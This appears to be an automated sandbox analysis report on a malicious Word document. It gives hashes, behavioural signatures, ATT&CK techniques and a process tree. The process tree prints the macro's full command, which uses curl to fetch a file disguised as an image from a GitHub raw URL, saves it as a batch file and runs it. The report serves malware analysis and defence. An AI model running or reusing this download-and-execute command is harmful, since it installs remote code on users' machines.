4aadd3bf071f87781910766f30baa4ebc20d6c26485b21830cee76d4d8eb8b6d

General

Target

4aadd3bf071f87781910766f30baa4ebc20d6c26485b21830cee76d4d8eb8b6d.doc
Size

35KB
MD5

582a41f1e6c7266f4473a396ed841261
SHA1

0ac2b6ceb2ec13575b3b1448e72bc7958841b899
SHA256

4aadd3bf071f87781910766f30baa4ebc20d6c26485b21830cee76d4d8eb8b6d
SHA512

738e804dea2eaf95b4652958a9da042aa64bf39a0bb8a02101fbb9b03bc6867306d466122e96937112cdf11c96139a3a9a2fc82eb1d475be8c4629d4ed3b4b3c
SSDEEP

192:wsWNslLZEvA+6/6r8px8SmvowzxeuQ9iBqyQYYTgN0j8ywc6tAHUkanRasQ:wC8iS8px8SMDen9BCUgN0jw/tgUkanj

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3524	4604	cmd.exe	WINWORD.EXE

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

12 raw.githubusercontent.com
13 raw.githubusercontent.com

flow	ioc
12	raw.githubusercontent.com
13	raw.githubusercontent.com

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2772 timeout.exe

pid	process
2772	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4604 WINWORD.EXE
4604 WINWORD.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

WINWORD.EXE

pid	process
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE
4604	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 4604 wrote to memory of 3524	4604	WINWORD.EXE	cmd.exe
PID 4604 wrote to memory of 3524	4604	WINWORD.EXE	cmd.exe
PID 3524 wrote to memory of 4600	3524	cmd.exe	curl.exe
PID 3524 wrote to memory of 4600	3524	cmd.exe	curl.exe
PID 3524 wrote to memory of 2772	3524	cmd.exe	timeout.exe
PID 3524 wrote to memory of 2772	3524	cmd.exe	timeout.exe
PID 3524 wrote to memory of 808	3524	cmd.exe	cmd.exe
PID 3524 wrote to memory of 808	3524	cmd.exe	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4aadd3bf071f87781910766f30baa4ebc20d6c26485b21830cee76d4d8eb8b6d.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4604

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl https://raw.githubusercontent.com/NHTBOOT/1/main/pic.jpg --output %APPDATA%\Punn.bat && timeout 1 && start %APPDATA%\Punn.bat
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3524

C:\Windows\system32\curl.exe
curl https://raw.githubusercontent.com/NHTBOOT/1/main/pic.jpg --output C:\Users\Admin\AppData\Roaming\Punn.bat
3⤵
PID:4600

C:\Windows\system32\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2772

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\Punn.bat
3⤵
PID:808

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Punn.bat
Filesize
14B

MD5
3be7b8b182ccd96e48989b4e57311193

SHA1
78fb38f212fa49029aff24c669a39648d9b4e68b

SHA256
d5558cd419c8d46bdc958064cb97f963d1ea793866414c025906ec15033512ed

SHA512
f3781cbb4e9e190df38c3fe7fa80ba69bf6f9dbafb158e0426dd4604f2f1ba794450679005a38d0f9f1dad0696e2f22b8b086b2d7d08a0f99bb4fd3b0f7ed5d8

Download Submit
memory/4604-14-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-65-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-3-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-5-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-4-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-6-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-17-0x00007FF85F540000-0x00007FF85F550000-memory.dmp

Filesize
64KB

Download
memory/4604-8-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-9-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-10-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-11-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-12-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-13-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-15-0x00007FF85F540000-0x00007FF85F550000-memory.dmp

Filesize
64KB

Download
memory/4604-66-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-2-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-7-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-28-0x0000018CBD740000-0x0000018CBE710000-memory.dmp

Filesize
15.8MB

Download
memory/4604-29-0x0000018CBD740000-0x0000018CBE710000-memory.dmp

Filesize
15.8MB

Download
memory/4604-1-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-38-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-39-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-40-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-41-0x0000018CBD740000-0x0000018CBE710000-memory.dmp

Filesize
15.8MB

Download
memory/4604-42-0x0000018CBD740000-0x0000018CBE710000-memory.dmp

Filesize
15.8MB

Download
memory/4604-61-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-62-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-63-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-64-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-0-0x00007FF861CF0000-0x00007FF861D00000-memory.dmp

Filesize
64KB

Download
memory/4604-67-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download
memory/4604-16-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads